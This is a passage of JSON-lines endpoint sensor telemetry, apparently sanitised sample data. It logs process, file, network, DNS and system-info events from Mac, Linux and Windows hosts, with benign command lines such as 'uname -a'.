26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} +{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} +{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} +{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} +{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} +{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} +{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} +{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} +{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} +{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} +{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} +{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} +{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 